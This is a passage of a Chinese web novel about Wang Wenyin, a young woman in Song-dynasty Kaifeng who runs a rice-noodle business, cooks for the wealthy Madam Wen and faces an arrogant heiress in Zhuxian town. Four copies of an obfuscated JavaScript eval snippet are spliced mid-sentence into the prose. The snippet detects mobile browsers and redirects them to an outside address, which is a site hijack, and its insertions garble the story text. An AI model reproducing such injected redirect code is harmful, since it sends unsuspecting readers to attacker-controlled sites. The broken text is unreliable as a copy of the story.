王文茵让两个厨娘帮她生火准备做鱼粉。先前那个撇嘴的厨娘当做没听见，阴阳怪气哼了一声，扭身出去了。倒是另一个厨娘有眼力见，二话不说走去灶台后方坐下生火。 趁锅还没热起来，王文茵先将葱头切段，其余切葱花，老姜和大蒜用刀拍散了再切碎。起锅后下入两大勺猪油，待油冒出白烟后再将鱼放入锅内煎至两面金黄，随后加入生酒、盐和葱姜蒜轻轻翻炒，最后再加入周婆子连夜熬制的筒骨高汤，加盖烧开后再闷煮一会儿，一锅浓鲜奶白的鱼汤码子就可以出锅了。【注5】 香味飘到灶台后方，厨娘嗅着味道探出脑袋来，垂涎道：“小娘子，这鱼汤怎地如此鲜香？” 王文茵舀了一小碗鱼汤递与厨娘品尝，自己则将烫熟的米粉盛入鱼粉底汤内，再盖上一整条鱼码子，撒点葱花点缀后放到了托盘上。 厨娘浅浅尝了一口奶白色的鱼汤，那味道是如此惊艳，鲜美得令她几乎失语。 “小娘子，你是有真本事的人，先前是我们冒犯了，还望你莫要怪罪。”厨娘羞愧道歉。 王文茵笑着摇头：“无事，这碗鱼粉就烦请阿姊送去给老夫人享用吧。” 厨娘接过托盘去了，王文茵将凌乱的灶房收拾干净后便到门房那儿等候回音。 等了约一盏茶功夫【注6】，大管家就出来了。 “哎呀，小娘子，你算是抓住了我家老夫人的胃，今儿这鱼粉她喜欢得不得了，吃下去好大一碗。若不是七郎拦着，怕是能吞下一锅。”大管家喜不自禁：“刚刚老夫人还问起了小娘子，小娘子可随我进去见老夫人一面。” 王文茵心里一咯噔，她可不想见文老夫人。祖父与文相公虽曾同朝为官，但两人是政敌，两家人也从未有过往来，她更不想让文家人知道自己的身世，于是便找了个借口，婉言谢绝了。 大管家十分不解，这个王小娘子还真是与众不同，若换做旁人，能见文老夫人一面，那可是求都求不来的机会，她却全然不放在心上。 “小娘子可知我家老夫人是何人？” 王文茵装傻充愣：“不知。” 大管家心说，原来是个无知的乡下丫头，倒也不意外，便从袖袋里拿出一锭银子来：“这是四两银子，二两是老夫人赏给小娘子的，余下则是定金，还请小娘子明日按例再送80斤鲜米粉来。” 王文茵千恩万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822224|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢举起双手接过银子，又郑重其事地给大管家行了一个大礼。 大管家暗暗好笑，还以为王小娘子是个机灵人呐，不想竟是个傻的，她怕是不知道若是到了老夫人面前，那给的赏银可就不止这二两银子咯。 离开文家庄回到静缘庵，其余送货小分队的队友还没回来，王文茵攥着银子去找妙善师太。 妙善见王文茵突然寻来，以为是她私下打探的事被王文茵知晓后来找她算账，不禁有些心虚，干巴巴笑了笑：“小娘子寻我何事？” 王文茵注意到妙善那慌乱不自然的眼神，猜测她大概以为自己是来找她麻烦的，忍着好笑道：“我来给师太送银子。” 妙善一愕：“送什么银子？” “师太忘了？我先前在您这儿抵押了一块玉佩，当时约定赊一石籼米折价700文，再加上一分月息，共计770文。”王文茵拿出一小块银子放到妙善桌前：“我现在手头只有碎银，没有铜钱，按官陌算一两银子便是770文，不知是否可以让我赎回抵押的玉佩？” 原来是为了要回玉佩啊，妙善心里一松，脸上立刻挂上笑容：“当然可以！静尘，快去把小娘子的玉佩同契书拿来。” 妙善亲自为王文茵斟上一杯茶，呵呵笑道：“小娘子的米粉买卖做得咋样?” 王文茵福了一福：“多谢师太挂念，眼下生意还不错，每日有稳定的收入。不过，因为增加了人手，须得支出些工钱，盈利目前并不算多。” “小娘子还给那几个流民付工钱？”妙善惊讶不已，原以为王文茵只是用些吃食打发流民，想不到她居然还给他们工钱，这是什么脑回路？ 王文茵点头：“若想将生意长长久久做下去，那就必须善待每个人。” 妙善抿了抿嘴，心说：照你这大手笔，米粉生意怕是长久不了，到底还是太嫩了点。 “听说小娘子每日都去文家庄给文老夫人做米粉？” “确有此事。”王文茵也不隐瞒。 “小娘子可曾见过文老夫人？” “未曾见过。” 妙善哦了一声，有些失望，看来文家只是把王小娘子当灶间婢女使唤，否则怎会连老夫人都见不到。 “文老夫人可是出了名的善人，小娘子若是能见到她，说不定还能被她雇佣去汴京城里做个厨娘，那可比在这儿做米粉买卖强多了。”妙善“好心”建议道。 王文茵心说：我才不去汴京城里给文家做厨娘，我要凭自个儿本事去汴京城创业。 “师太想多了，我这点手艺怕是还入不了文老夫人的眼。”王文茵自谦道。 “小娘子倒是谦虚。”妙善哂笑，心说，你不离开我又如何接手这红红火火的米粉买卖呢。 “我还有一事想求师太。”王文茵道。 一听有事相求，妙善又端起了住持师太的架子：“何事？” “我想问师太赁一间屋子。” 11. 第十一章 三鲜米粉 既然是赁屋，那就是来送钱的，妙善脸色稍霁，问道：“原先那间屋子不够住吗？” “现下住的那间屋子我想用作仓房。”王文茵没提她们现在住的那间柴房四处漏风，到了半夜更是冷得像冰窟窿。 妙善心里清楚柴房里头什么样，静缘庵里能住人的房子并不多，别说后院那些给流民住的破茅屋，就连她们几个老尼姑自己住的禅房也都是年久失修的老破旧，谁让她们没钱请人修葺呢。 “小娘子想赁哪间屋子？” “便是隔壁那间仓房。” 妙善皱了皱眉，柴房隔壁那间仓房是专门用来储藏粮食的，不仅坚固，密封性也最好，若是租出去粮食搁哪儿去？ 王文茵看出妙善的迟疑，便道：“师太可是担心我付不起租金？” 妙善呵呵笑：“小娘子怎么可能付不起租金，只是隔壁那间仓房是庵里用来储藏粮食的，怕是不太方便。” “若是我以月租三百文赁下两间房，师太意下如何？” 王文茵给了妙善一个无法拒绝的租金价格，三百文钱租两间破房子，还是在远离汴京城的穷乡僻壤，要知道汴京城内由北宋政府管理的店宅务推出的公租房月租也才四五百文。【注1】 不过是将粮食挪个地方储藏，每月便能入袋三百文，妙善找不到反对的理由，双方就这么愉快地签订了新的契约。王文茵以每月370文的租金租下了一间小灶房、一间柴房和一间仓房，此外还需每月再付70文钱租用静缘庵的招牌做米粉买卖。 王文茵带着赎回来的玉佩和新签的租赁契书回到小灶房，送货小分队的成员们已经回来了。 得知王小娘子竟然花了370文钱租下了三间破房子，几名员工都替她感到肉疼。但当王文茵宣布让他们几人从难民群居的破草屋里搬到新租下的夯土房内后，所有人都感动坏了。 静缘庵收容老弱病残的几间破屋子都是大通铺，不分年龄，无论性别，有病没病，统统杂居在一起，住宿环境比山下村子里流民扎堆住的窝棚好不到哪里去。 从大通铺搬到柴房，相当于从群租房升级到多人间，王大崔却觉得他们几个搬出来住的已经跟剩下的那些人不一样了。毕竟，他们是有能力靠自己挣钱吃饭，不再需要官府的施舍和救济，心理上彻底摆脱了低人一等的卑微感。 王文茵让张二嫂和她两个孩子跟她们姐弟一起搬到隔壁的仓房里，柴房则留给王大崔、周婆子和李三毛一家住。 这间原本用作仓房的屋子比隔壁的柴房可暖和多了，墙体结实，屋顶厚重，紧闭的门窗把寒冷的空气隔绝在屋外。张二嫂在床板上铺了厚厚一层草垛，再垫上一张旧衾盖，晚上睡觉躺在上面别提有多暖和了。 搬完家第一件事就是盘账，王文茵拿出账本清算这两天的收入和支出。 今日订购米粉的人家增加到了17户，加上送去文家庄的80斤鲜米粉，一共送出去148斤鲜米粉，相当于支出74宋斤籼米的食材成本。回收的籼米总计68宋斤，两项扣除后支出籼米6宋斤，加上昨日收回来的8宋斤籼米，共计盈余2宋斤籼米。 今日的人工增加了一个送货记账的王小郎君，自己的弟弟嘛王文茵给他开50文钱一天的工钱，这一天的人力成本就增加到了700文。文家给的赏银和定金加起来一共4两银子，也就是官陌3080文铜钱，刨去人力成本，盈余2380文，加上昨日的890文，两天收入共计3270文。 赎回抵押的玉佩付出770文，加上房租（370文）和招牌（70文）共计支付了1210文，收支相减还剩下2060文。 “这两天共计盈利籼米2宋斤，铜钱2060文。”王文茵将账本摊开来给张二嫂看。 张二嫂虽然不识字，但懂一点基础的算学，掰着手指头数了数道：“平均下来约等于每日净赚1斤米，1030文铜钱？” 王文茵点头：“可以这么说。” “那咱们一个月岂不是能赚40贯钱30斤米？！” “……差不多。” 王文茵心说，这样的收入是建立在每日有稳定的订单量和赏银的基础上，可做生意没有绝对的稳定因素，任何风险都有可能存在。不过她没挑明，今日这么开心她不想扫张二嫂的兴，况且她的目标可不止于丰收村这个小笼子。 李三毛带着他家大丫头李阿萍来找王文茵，他表示自己一家不能白住在柴房里，就让他家大丫头帮忙在灶房里打打杂，不要工钱，算是报答王文茵的恩情。 说起来李三毛一家也是真可怜，爹是聋哑，娘是瞎子，生下大女儿李阿萍后接连几个孩子都夭折了。好不容易老来得子，结果孩子刚出生没多久，娘亲李王氏月子期间下地干重活，生了一场大病，差点没要了她的命。事后人虽然没死，但缺医少药，一直卧病不起。 大女儿李阿萍身体虽然没有残疾，但脸上却有一块占了半张脸的红色胎记。因为相貌丑陋想卖身为奴都没有主家愿意收留，平时只能在静缘庵里做些粗使的活计，农忙的时候到山下村子里打点零工赚些口粮贴补家用。 为了保障每日生产的米粉都是最新鲜的，米粉作坊的员工目前分成三班制。 磨米粉的王大崔从未时（下午一点）开始工作到亥时（半夜十一点）；负责制作米粉和熬底汤的周婆子则是从戌时（晚上七点）工作到寅时（凌晨五点）；送货的李三毛则是分两个时段干活，从戌时（晚上七点）到亥时（半夜十一点）负责灶火，从寅时（凌晨四点）到辰时（上午九点）负责运输；张二嫂的工作时间是从子时（半夜十一点）到辰时（上午九点），凌晨接替李三毛生灶火，上午则负责押送货物。【注2】 这样的人员配置米粉作坊里其实不需要多余的人手帮忙打杂，不过王文茵自己正好需要一个助手，便问李阿萍：“你可愿意学厨艺？” 李阿萍一听，懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822225|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两秒后扑通一声跪下了：“小娘子，我愿意！就算不学厨，给你做粗使的丫头婢子我也愿意。” “哎呀，快起来！”张二嫂急得要命：“都说了不能跪，下跪要罚钱的。” “我，我，我……”李阿萍想说我认罚，可是她身无分文，只能求救似的看向她老爹。 李三毛得知王小娘子要让他家丫头学做厨娘后，激动得也跟着跪下了。 在宋朝，厨娘是一份体面的高薪工作，尤其是在大户人家工作过的厨娘，雇佣价格极高，一般人根本请不起。所以，普通人家若是生了女儿，便会想方设法把她培养成为厨娘。【注3】 但富贵人家对厨娘的颜值也是有一定要求的，像李阿萍这种长相丑陋，出身贫贱的女孩是根本没有任何机会成为厨娘的。由此可见，李三毛父女在得知王文茵打算培养李阿萍做厨娘的时候该有多激动。 素来讨厌繁文缛节的王文茵考虑到李阿萍比自己年长，拜师仪式只是简单地行了个礼，敬了杯茶。正常来讲做学徒三年内是没有工资的，不过王文茵还是给李阿萍开了50文一日的工钱，但李家父女却说什么都不肯收。王文茵也不勉强，反正可以用别的名义给他们。 王文茵自己刀工不行，便让李阿萍跟着周婆子先学习刀工，翌日一早再跟着她去文家庄打下手。结果没想到，第二天就看到李阿萍左手五根指头都挂了彩，原来她为了尽快掌握刀工，居然勤学苦练了整整一晚。 王文茵简直哭笑不得。 周婆子背着人问王文茵：“小娘子真的打算培养李家丫头做厨娘吗？那丫头看着不太灵光的样子。” 王文茵笑笑：“肯吃苦就行。” 周婆子闻言心生羡慕，当初若是她也能遇上王小娘子这样的师傅该多好，练就一身厨娘的手艺，不说大富大贵，至少不至于流落街头，吃不饱饭。 隔日一早，王文茵带着李阿萍随着送货小分队一起下山去了文家庄。 今日两名厨娘一改昨日怠慢的态度，提前将所需食材全部处理完毕，就等着王文茵来掌勺做码子。王文茵猜测应该是昨日那碗鱼粉在文老夫人面前得了赏，两名厨娘想从她这儿偷师，但她没给她们机会。 她将两位厨娘请出了灶间，让李阿萍替自己生灶火，随后做了颇费功夫的三鲜粉给文老夫人食用。 三鲜粉需用蛋饺搭配猪肚、香菇木耳肉丝作为码子。猪肚是提前一晚处理干净后焯水过油备好的，蛋饺需早上现做，是她寅时起亲手做的。有了这些提前备好的食材，到了文家灶房后只需将香菇木耳肉丝加油煸炒熟即可。【注4】 底汤装入米粉，再盖上蛋饺、猪肚和香菇木耳肉丝码子，一碗三鲜米粉就出锅了。 三鲜米粉送出去后，王文茵正想带着李阿萍去门房等大管家来给赏银，结果还没出灶房就被大管家喊住了。 “王小娘子，且慢走。”大管家迎上来：“我家老夫人有请。” 12. 第十二章 饸饹床子 “小娘子，我家老夫人想见你。”大管家一脸恭敬。 王文茵迟疑道：“麻烦院公禀告老夫人，奴家乃一介布艺，身上污浊，怕冲撞了老夫人。” 大管家上下打量王文茵，摇头：“小娘子不必担忧，我家老夫人最是仁慈心善。何况小娘子虽衣着简朴，却十分洁净，何来冲撞一说。” 王文茵知道躲不过，只好硬着头皮跟随大管家去见文老夫人。 文老夫人在临水的暖阁内用早膳，陪同在侧的是文安世。祖孙俩正在品论三鲜米粉，大管家进来禀告说已将王小娘子请来了，此时正在曲廊前等候，文老夫人便让人将她带进来。 王文茵跟随一名二等仆妇穿过曲廊，进入水榭内。一路过来她惊叹于文家这座仿江南园林的山庄竟是如此清雅隐逸，处处不言奢，却于细节处彰显低调雅致、诗情画意，实乃文人士大夫理想中的大隐隐于市之地。 进入暖阁，王文茵见软榻上坐着一位身着皮袄气质雍容的银发老妇，身后环伺的几名仆妇各个气度不凡，而陪坐在旁的正是文家七郎，心知这便是文老夫人，于是上前行了一个大礼，向老夫人问安。 文老夫人此时也在打量王文茵，见她虽年幼，却衣着素净，知书识礼，心里顿生好感。 “王小娘子，快请起。”文老夫人和蔼地问道：“听说这米粉乃是王小娘子独创的美食？” 王文茵坦诚相告：“回老夫人的话，奴家不敢掠美，米粉乃是我从先祖父留下的笔记中学来的，是西南边陲之地的民间小吃。” “不知王小娘子是何方人氏？祖上可曾为官？” “回禀老夫人，我出生在金陵，家父在我出生前已过世。祖父只是闲散乡野人士，生前曾游历各地，喜欢将当地风俗人情记录在册，以供后人赏析。” 文安世轻皱了下眉，听妙善师太说，王小娘子是蔡元长（蔡京）蔡大人弟妹的远房亲戚，不知她跟王介甫相公又是什么关系？ 文老夫人欣喜道：“原来是江南人士，难怪长得如此秀丽。不知小娘子为何会流落至静缘庵？家中可还有亲故？” 王文茵坦言：“我与阿弟随祖母来京城探亲，不想祖母感染时疫猝然离世。家中长辈都已不在，只有一位二叔与我姐弟二人不亲，一早就断了联系，是以暂住在静缘庵。” 文老夫人怜惜地看着她：“可怜你小小年纪就要独当一面，不知今后可有什么打算？” 王文茵灿然一笑：“这米粉买卖便是我眼下的打算。” 文老夫人闻言也笑了起来，这女娃生性乐观，又擅中馈，很合她的眼缘。 “你做的米粉很合我胃口，你若是愿意，可来我身边做一名厨娘，也好过独自在外颠沛流离。” 王文茵福了一福，婉言推辞：“多谢老夫人厚爱，只是我并非单打独斗，还有一群帮我做事的伙计需要照顾，若是将他们抛下，怕是会令他们失望难过。” 文老夫人满眼赞许：“王小娘子宅心仁厚，小小年纪已懂得体恤他人，实属难得。” 一旁的文安世嘴角微抿，心说：王小娘子真正顾忌的恐怕非祖母以为的那样。 “既是如此，那我便不能强人所难。”文老夫人朝身旁的崔嬷嬷微微颔首。 崔嬷嬷上前将一只荷包递给王文茵：“这是老夫人给小娘子的赏赐，这段时日辛苦小娘子每日一早过来为老夫人料理膳食。” 王文茵接过荷包，行礼致谢：“多谢老夫人的赏赐。” 崔嬷嬷又笑着道：“我家老夫人须在山庄小住一段时日，小娘子若是还有什么新鲜吃食尽可以送来与老夫人品尝。” “奴家必当尽力。”王文茵笑盈盈告辞，抬头的瞬间注意到文安世玩味的眼神，她心里一惊，顿时有种被人看穿小心机的狼狈感。 离开文家庄后，阿萍忍不住好奇追问：“小娘子为何不接受文老夫人的好意？听说给大户人家做厨娘可是能赚不少银子呐。” “给大户人家做厨娘固然能赚不少银子，但却没有自由，比不得自己在外头闯荡来得更有成就感。”王文茵自信满满道。 “啥叫成就感？”阿萍觉得自己很笨，小娘子说的话她老是听不懂。 “成就感啊就是靠你自己的能耐让你自己和你的家人过上更好的日子。” 阿萍眼睛亮了，狠狠点头：“我懂了，小娘子，我也要像小娘子一样靠自己能耐获得成就感。” “孺子可教也。”王文茵对阿萍这个徒儿的领悟力很满意。 回到庵里，王文茵打开文老夫人赏的荷包，发现里面的银锭竟足足有十两，不得不感叹：有钱、任性！ 祖父与文相公虽同为宰执，但王家与文家却有着天壤之别。在王文茵的印象中，祖父是个不修边幅、不畏权贵、两袖清风的改革家，终其一生都在忧国忧民中度过，以至于身后并未给子孙后代留下什么实质性的遗产。 且祖父生前积极变法改革针对的正是文相公之流的保守派和权贵阶层，朝堂之事虽不是她一介女子能掺和的，但穿越去过后世的王文茵已将人人平等的观念刻入心中，并深以为然。即便文家开出更好的条件，她也不愿跟他们走太近，何况外面天大地大，总有容纳她的一席之地。 ***** 送货小分队回来后，便进入了每日最开心的环节——数钱。 今日虽然多得了十两赏银，但那只是意外之财，王文茵没太放心上，盘完帐告诉张二嫂：“今日虽多得了十两赏银，但总体收入跟昨日差不多，订购米粉的除了文家庄，基本就只有这17家农户，再多也不会有了，估计过阵子还会减少。” 张二嫂一听开始紧张起来：“那岂不是会亏本？” “目前暂时还不会亏，不过时间长了销售就会进入停滞状态，亏损也是必然的结果。” 王文茵的淡定理性落在张二嫂眼里就是胸有成竹，她知道小娘子必定有办法纡困。 “小娘子是不是想到新的路数了？” 王文茵想了想说：“咱们要扩大经营范围，不能只局限于丰收村。” “小娘子的意思是要把米粉卖去镇上？”张二嫂掰着指头盘算：“离此处最近的朱仙镇脚程至少一个时辰（两小时）【注1】，且每日须得多备至少一百斤鲜米粉才够卖，这样一来人手怕是不够……” 王文茵点头：“人手不够可以增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822226|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加，不过将鲜米粉运去朱仙镇售卖就太费事了。” “不卖鲜米粉那卖啥？”张二嫂被她搞糊涂了。 “卖干米线。”王文茵解释给她听：“干米线跟鲜米粉的区别前者是干的，后者是鲜的。干的米线可以保存较长时间，且运输方便，不像鲜米粉须得当日现做现吃，否则就容易坏。” 张二嫂领悟力极强：“那咱们岂不是可以把干米线卖去汴京城？” 王文茵笑眯眯点头：“卖去边疆都行，干米线的保质期很长，存放一年都不会坏。” “我就知道小娘子一定有法子。”张二嫂喜不自禁，拍手道：“事不宜迟，咱们这就开工吧？” “制作干米线需要准备一些工具。”王文茵道：“我记得婶子你先前提到过福田院里有人擅长木工？” 张二嫂回想了一番，这才记起前头王文茵让她给住在福田院里的人做个什么背景调查，看看大家以前都做过啥，会点什么手艺之类的，便点头：“确实有这么一个人，叫穆叔，年轻时候是个木匠，凭着一手精湛的活计攒下了丰厚的家产。可惜后来家中不幸走水，他拼尽全力未能将妻儿救出，自己也被烧伤毁容，最后流落至此，整日浑浑噩噩的，跟活死人没啥两样。” 王文茵在心里叹气，人一旦失去精神支柱，生活也就失去了方向。 “婶子，我画一副工具模型图，麻烦你拿去给穆叔看看，问他是否能做出来。” “哎，好。” 王文茵提笔画了一个类似饸饹床子的工具，这种专门用来压面线的工具主体构造由支架、压杆、壶柱、床壶和床身组成。床身主体不难做，唯独床壶和壶柱是需要有经验老道的木匠精心打造才能经得起千百次的捶压。【注2】 张二嫂去了没多久就带回来一位暮气沉沉的“老人”。 这个叫穆叔的男人其实并不老，只是头发已经花白，左眼又是瞎的，整张脸上布满了烧伤后留下的瘢痕，身上几乎没有一块完整的皮肤，看起来像是从地狱里爬出来一般可怖。 大概是自觉面部可憎，穆叔总是低垂着头，不敢跟人对视，蔫头巴脑的样子让人误以为他垂垂老矣。 “小娘子，这位便是穆叔。”张二嫂介绍道：“他说你画的这个工具他能做，但须同你解释一下，我便将他带来了。” 王文茵站起来，上前向穆叔行了个礼，和气地喊了一声：“穆叔，有劳了。” 穆叔惊了一跳，连连后退，摆手道：“不敢当，小娘子看得起我，是我的荣幸。” “穆叔可是有话要同我说？” 穆叔依然低垂着头，将王文茵画的图纸放在案几上展平，指着图中的饸饹床子道：“听二嫂子说，小娘子是想用这工具压制米线？” “正是。” “若是如此，这工具的主体架子倒不费事，普通的硬杂木便可制作。只是这压面线的壶柱必须选用最好最坚硬的硬杂木打磨方成。”【注2】穆叔微微抬头看了王文茵一眼，又迅速低下头道：“附近山林里怕是没有优质的硬杂木，只能去朱仙镇上选购。” 王文茵当场拍板：“既如此，咱们明日便动身去朱仙镇采买所需木料。” 13. 第十三章 去朱仙镇 第二日送完米粉后，王文茵便带着王小郎君、张二嫂还有穆叔三人，一起推着一辆轱辘车前往朱仙镇进货去了。 病愈后王文茵姐弟还是第一次出远门，又是去镇上进货，心情十分雀跃。 张二嫂先前经常帮庵里的老尼姑去镇上跑腿采买什物，对朱仙镇十分了解，一路上把自己所知的发生在朱仙镇上的奇闻轶事一股脑讲给王文茵姐弟听。三个人在前面说说笑笑，跟在后面闷头推轱辘车的穆叔被他们几人感染，长年耷拉的嘴角也慢慢抚平了。 朱仙镇位于汴京城的西南方向，唐朝时作为一处居民点逐渐发展起来，由村落而驿站，进而成为集镇。到了北宋太宗年间朱仙镇因紧邻蔡河而成为开封附近的水陆交通要道和商埠之地。运粮河自北向南穿镇而过，将此镇分为东西两部分，河上有桥相连，沿河两岸码头林立，船只往来频繁，日流量可达百余艘。【注1】 此镇距京城约两个时辰脚程，是附近十里八乡进京的必经之地。朱仙镇虽不及汴京城繁华，却也是商贾云集，店铺林立，车水马龙，行人如织。镇上除了正店和脚店，还有不少街头小吃铺子和走街串巷的零售摊贩。 大家伙儿早上出门送货前其实都已经吃过饭了，可这一上午跑下来早已经饿得饥肠辘辘。这个时代底层的老百姓每天只吃两顿饭，王文茵却认为既然从事的是餐饮业，那么让员工吃饱吃好就是最基本的福利。所以，进镇第一件事便是带着员工们去打牙祭。 不过，跟汴京城里不一样的是，朱仙镇上主要的酒楼饭店中午基本不营业，因为大部分镇上的居民一天也只吃两顿饭，几乎没人会在中午请客吃饭。好在除了正餐还有点心可以食用，宋朝人的“点心”跟现代的点心可不是一个概念，在宋朝“点心”指的是正餐之外的“加餐”。【注2】 王文茵带着小伙伴们找了一圈，终于在街角处找到了一家中午还在营业的胡辣汤店。于是便花了四十文钱买了四碗胡辣汤，又从隔壁的胡饼店里花二十文钱买了四张胡饼，分给大家后四个人围坐在一张临街的桌子前大快朵颐。 胡辣汤这种由酸辣汤和肉粥演变而来的平民小吃在汴京非常受欢迎【注3】，尤其是寒冬腊月天，一碗喝下去浑身冒汗，通体舒畅。再来一块烤得喷香酥脆的胡饼，对于长年吃不饱的穆叔来说，不啻于山珍海味。 他狼吞虎咽地将一碗胡辣汤喝了个底朝天，末了还用胡饼将碗底的汤汁刮得干干净净。 一旁传来讥笑声：“长得丑也罢了，吃相还这么难看，掌柜的，你这儿什么时候来了这么多乞丐？” 王文茵诧异回头，见一位身着紫鸾鹊纹织锦，梳着双垂鬟，头戴花瓶簪，以珍珠饰面的华服小娘子正用锦帕捂鼻，蹙着娥眉，一脸厌恶地睨着他们。【注4】跟在她身后的那位婢女更是用一种夸张又嚣张的姿势挥舞着双臂，试图将被污浊的空气从她家小娘子身边清扫开去。 穆叔惊慌失措地放下碗筷，羞愧得低下了头，用手挡着自己的脸。他怕连累王文茵，正要起身离开，被王文茵一把按下。 王文茵转身面向华服小娘子，不卑不亢道：“小娘子口中的乞丐指的是何人？” 对方大概没料到王文茵会反击，错愕之余有些恼火，咬着牙不吱声。 身后的婢女立刻上前护在她家小娘子面前，叉着腰冷哼：“我家小娘子口中的乞丐是何人，你心里难道不清楚吗？” “我不清楚。”王文茵面带微笑，眼神却是冰冷的：“我只知道受过良好教养、知书识礼的小娘子绝不会以貌取人，出言侮辱贬损他人并不能显得自己有多高贵。” 这话一出，围观的吃瓜群众都发出了嗤笑声。 “你——”被人当众驳了颜面的傲慢小娘子气得浑身发抖。 “放肆！一个乡下野丫头竟然敢在我家小娘子面前出言不逊！”婢女手指着王文茵怒喝：“你可知我家小娘子是何人？” 王文茵摇头：“不知。” 婢女抬起鼻孔斜乜王文茵：“那你可知汴京城内七十二家酒楼正店之首是哪家？” “不知。”王文茵老实回答。 婢女洋洋得意道：“便是我们范家的樊楼！” 此言一出，吃瓜群众一阵哗然，看向华服小娘子的眼神都带着钦慕、艳羡和讨好。 范家小娘子嘴角微微翘起，脸上有着掩饰不住的得色。只是，原本以为听到樊楼二字王文茵也会像其他人一样震惊不已，结果没想到这个乡下丫头居然无动于衷。 真是个没见过世面的土包子！范家小娘子恨恨腹诽。 沉不住气的婢女成了主子的嘴替：“喂，你这是什么反应啊？樊楼范家都没听说过吗？” 王文茵觉得莫名其妙：“我应该听说过吗？” “噗——”边上有人终于忍不住笑出了声。 王文茵转头去看，发现是位笑容和煦、眉眼舒朗的阳光大男孩。 阳光大男孩眨眨眼，饶有兴致地打量王文茵，心里觉得这位小娘子有趣极了，跟他家中的姊妹完全不一样。 堂堂樊楼范家的小娘子居然被两个无名小卒忽视了，是可忍孰不可忍，范小娘子上前一步横亘在两人中间，冷着脸道：“这里不是你们这些穷酸的乡下人可以随便进来吃东西的地方。” 王文茵被气笑了：“店家开门做生意，欢迎的是四方食客，我们为何不能进来？” 范家小娘子气得跺脚：“你们把这里弄脏了，我以后就再也不来了，掌柜的还不赶紧把他们轰出去！” 掌柜的左右为难，讨好道：“范小娘子莫要生气，不如去后面的雅座，那是专门为你留的。” 范小娘子蛮不讲理：“他们不走我就不进去！” 王文茵才不惯着她，回到桌边坐下继续喝她的胡辣汤。 婢女气急，蹿上前去抓王文茵，却被快她一步的阳光大男孩隔挡拦下。 “你又是何人？”范家小娘子很不高兴。 “我是无名小卒。”阳光大男孩笑嘻嘻的挡在范家主仆二人身前。 范家小娘子拧眉：“你们是一伙的？” “倒也不是。” “那就走开，少管闲事！”婢女试图推开阳光大男孩，却发现他的脚像是在地上扎了根，一动不动。 “我这个人比较热心，路见不平，总要管一管。”阳光男孩虽然笑容和煦，态度却很坚决，不容置疑。 “你可知我家小娘子是何人？”婢女指着阳光大男孩的鼻子问到他脸上去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822227|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “知道，先前已经说过了。” “那还不让开。”婢女自负道：“在这朱仙镇上还没人敢得罪我家小娘子。” 阳光大男孩摇头：“你们这样太无理了，人家好端端在这里吃东西又没妨碍你们，为何要将人赶走？” “又脏又臭，像乞丐一样，看着就令人倒胃口。”婢女跋扈道。 阳光大男孩回头打量王文茵几人，道：“这几位客官虽衣着简朴，却十分洁净，何来又脏又臭一说？” 婢女指着穆叔嫌弃道：“你看他的脸，都是疤痕，实在碍眼。” 阳光大男孩将婢女的手推开，皱眉道：“休得无礼，这是烧伤后留下的疤痕，戳人痛处可不是什么有教养的行为。” 围观群众闻言纷纷点头称是，暗戳戳指责范家小娘子太霸道。 范小娘子恼羞成怒，却又无计可施，咬着牙甩下一句：“下回别再让我遇见你们！”后扭身走了。 好戏散场，吃瓜群众很快就散开了。 王文茵起身向阳光大男孩行礼：“多谢郎君仗义执言。” “小娘子客气了。”阳光大男孩还礼道。 阳光大男孩仔细打量王文茵，发现她虽着荆钗布裙，却有着不同寻常的气质，不像是范家小娘子口中的乡下野丫头，便好奇道：“不知小娘子一行人从何而来？” “丰收村静缘庵。”王文茵坦率道。 阳光大男孩暗暗惊讶，见王文茵品貌不俗，却不知她为何会流落到福田院里。这话他没问出口，礼貌地寒暄了几句后便告辞离去。 惊魂未定的张二嫂后怕道：“听说樊楼可是汴京城里达官贵人云集之地，想来这范家颇有势力，若是下回再碰上那位范家小娘子，咱们还是躲远点吧。” 穆叔愧疚道：“都是我的错，是我连累了小娘子。” 王文茵叹气：“穆叔你何错之有？” 